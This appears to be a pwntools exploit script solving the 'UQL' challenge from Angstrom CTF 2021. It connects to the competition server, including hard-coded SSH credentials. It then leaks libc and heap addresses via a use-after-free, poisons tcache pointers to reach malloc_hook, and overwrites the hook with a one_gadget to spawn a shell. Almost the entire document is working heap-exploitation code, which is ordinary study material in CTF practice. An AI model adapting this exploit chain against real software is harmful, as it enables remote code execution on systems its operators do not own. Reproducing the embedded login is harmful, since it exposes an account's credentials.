Solver for the UQL (Universal Query Language) task from Angstrom CTF 2021

uql_solver.py

#!/usr/bin/env python
from pwn import *

if args.MOD:
    exe = context.binary = ELF('./a.out')  # my modified version  # the leak below works only on original
else:
    exe = context.binary = ELF('./uql')


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.REMOTE:
        return remote('shell.actf.co', 21321)
    elif args.SSH:
        s = ssh(host='shell.actf.co', user='team8288', password='8bcec9446b9d0f52205e')

        if args.GDB:
            return gdb.debug(['/problems/2021/uql/uql'], ssh=s, gdbscript=gdbscript)
        elif args.GDBSRV:
            return s.process(['gdbserver', '127.0.0.1:4434', '/problems/2021/uql/uql'])
        else:
            return s.process(['/problems/2021/uql/uql'])
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
# <== useful to check (*it)[m.index] = m.value
breakrva 0x3052
breakrva 0x2e0f
c
'''.format(**locals())

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

io = start()

def modify(target, value, index):
    assert 0 <= index < len(target)
    #assert len(value) == 1
    return b'modify %s to be %s at %d' % (target, value, index)

io.recvuntil('Enter your queries below:')
io.recvuntil('> ')

io.sendline('insert /bin/sh')
io.recvuntil('> ')

#context.log_level = 'DEBUG'

############### LEAK LIBC AND HEAP ADDRESS ##############
bbb = b'b'*1200
s = b'insert %s' % bbb
io.sendline(s)
io.recvuntil('> ')

io.sendline(b'insert pad')
io.recvuntil('> ')

bbb = b'c'*1200
s = b'insert %s' % bbb
io.sendline(s)
io.recvuntil('> ')

#io.sendline('insert start')
#io.recvuntil('> ')
io.sendline(b'remove %s display everything' % bbb)
io.recvuntil('> ')

# Vec<Str> db
# [<str0>, <str1>, ...] XXX YYY ZZZ 
# idx=11, len=5
# string data = *it; //
# "display everything" ===> cout << data << endl;

eee = b'e'*100
for i in range(11):
    s = b'insert %s' % eee
    io.sendline(s)
    io.recvuntil('> ')
io.sendline(b'remove %s display everything' % eee)
io.recvuntil('> ')

aaa = b'a'*1000
for i in range(11):
    s = b'insert %s' % aaa
    io.sendline(s)
    io.recvuntil('> ')

io.sendline(b'remove %s display everything' % aaa)
io.recvuntil('> ')
io.sendline(b'remove %s display everything' % aaa)
io.recvuntil('\n\n')
d = io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', drop=True)
d += b'\x00' * (8-len(d))

d = d.lstrip(b'\n') # we didnt strip all da newlines...
libc_addr = u64(d[0:8])
heap_addr = u64(d[8:16])
print("Libc addr = %#x" % libc_addr)
print("Heap addr = %#x" % heap_addr)

libc_base = libc_addr -0x1ebbe0
#heap_base = heap_addr -0x17360 # BEWARE: MAY BE WRONG, calc from heap_addr

# Lets clear all items from vector
io.sendline(
    b' '.join((
        b'remove %s' % bbb,
        b'remove %s' % aaa,
    ))
)
io.sendline(b'remove %s' % aaa)

#if args.SSH or args.REMOTE:
#    heap_base = heap_addr - 92000  # For some reason its different remotely

print("Libc base = %#x" % libc_base)
#print("Heap base = %#x" % heap_base)

"""
cyc = cyclic(1000, n=8)
insert_cyc = b'insert %s' % cyc
remove_cyc = b'remove %s' % cyc
io.sendline(b' '.join((
    insert_cyc,
    b'insert padding',  # let not consolidate?
    remove_cyc
)))

cyc = cyclic(64, n=8)
insert_cyc = b'insert %s' % cyc
remove_cyc = b'remove %s' % cyc
io.sendline(b' '.join((
    insert_cyc, insert_cyc,
    b'insert padding',  # let not consolidate?
    remove_cyc
)))"""

# MAGIC
#
# insert ...
# remove ...
#
# display everything <---
# modify

malloc_hook = libc_base + 0x1ebb70
free_hook = libc_base + 0x1eeb28
realloc_hook = libc_base + 0x1ebb68

cyc = cyclic(500, n=8)
cyc = p64(malloc_hook)* (500//8)
cyc += b'a'*(500-len(cyc))
assert len(cyc) == 500

for i in range(5):
    s = b'insert %s' % cyc
    io.sendline(s)
    io.recvuntil('> ')
io.sendline(b'remove %s' % cyc)
io.recvuntil('> ')
io.sendline(b'remove %s' % cyc)

"""
tcache_ptr = (heap_addr -0x3c10)
modifyfrom = p64(tcache_ptr) + p64(0)
modifyfrom += cyc[len(modifyfrom):]
assert len(modifyfrom) == 500
"""

# below case = newnline in modifyfrom ffssss
#"""
tcache_ptr1 = heap_addr -0x3c10 
tcache_ptr2 = heap_addr - 0x17b30
if 1: # REMOTE ONLY
    tcache_ptr2 += 0xc00
modifyfrom = p64(tcache_ptr1) + p64(tcache_ptr2)
cyclic_wo_hdr = cyc[len(modifyfrom):]
modifyfrom += cyclic_wo_hdr


#if 0: #args.REMOTE or args.SSH:
#    print("[!!!] USING REMOTE/SSH VERSION")
#    modifyfrom += b'\x00aaa\x91\x01\x00\x00'
#    modifyfrom += b'\x00' * 4
#    modifyfrom += p64(libc_base + 0x1ebd60) * 2
#    modifyfrom += b'a'*368
#    modifyfrom += p64(0x190) + p64(0x4c0)
#else:
if 1:
#    print("[!!!] USING LOCAL VERSION")  # turned out to be working remotely too.
    modifyfrom += b'\x00bbb\x01\x06\x00\x00'
    modifyfrom += b'\x00' * 4
    modifyfrom += p64(libc_addr) * 2
    modifyfrom += p64(0) * 2

modifyfrom += b'b'*(1000-len(modifyfrom))
modifyfrom = modifyfrom[:1000]
#"""
#modifyfrom = b'x'*(1000)
#assert len(modifyfrom) == 1000, len(modifyfrom)

#pause()
io.sendline(b' '.join((
    #b'insert %s' % modifyfrom[:-1]+b'x',
    b'insert a',
    b'remove a',
    b'modify %s to be \xb0 at 0' % modifyfrom,
)))

"""
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL
"""
p = p64(libc_base + 0xe6c81)
p += cyclic(494-8, n=8) #b'a'*494
io.sendline(b'insert %s' % p)

print("heap addr=%#x" % heap_addr)
io.interactive()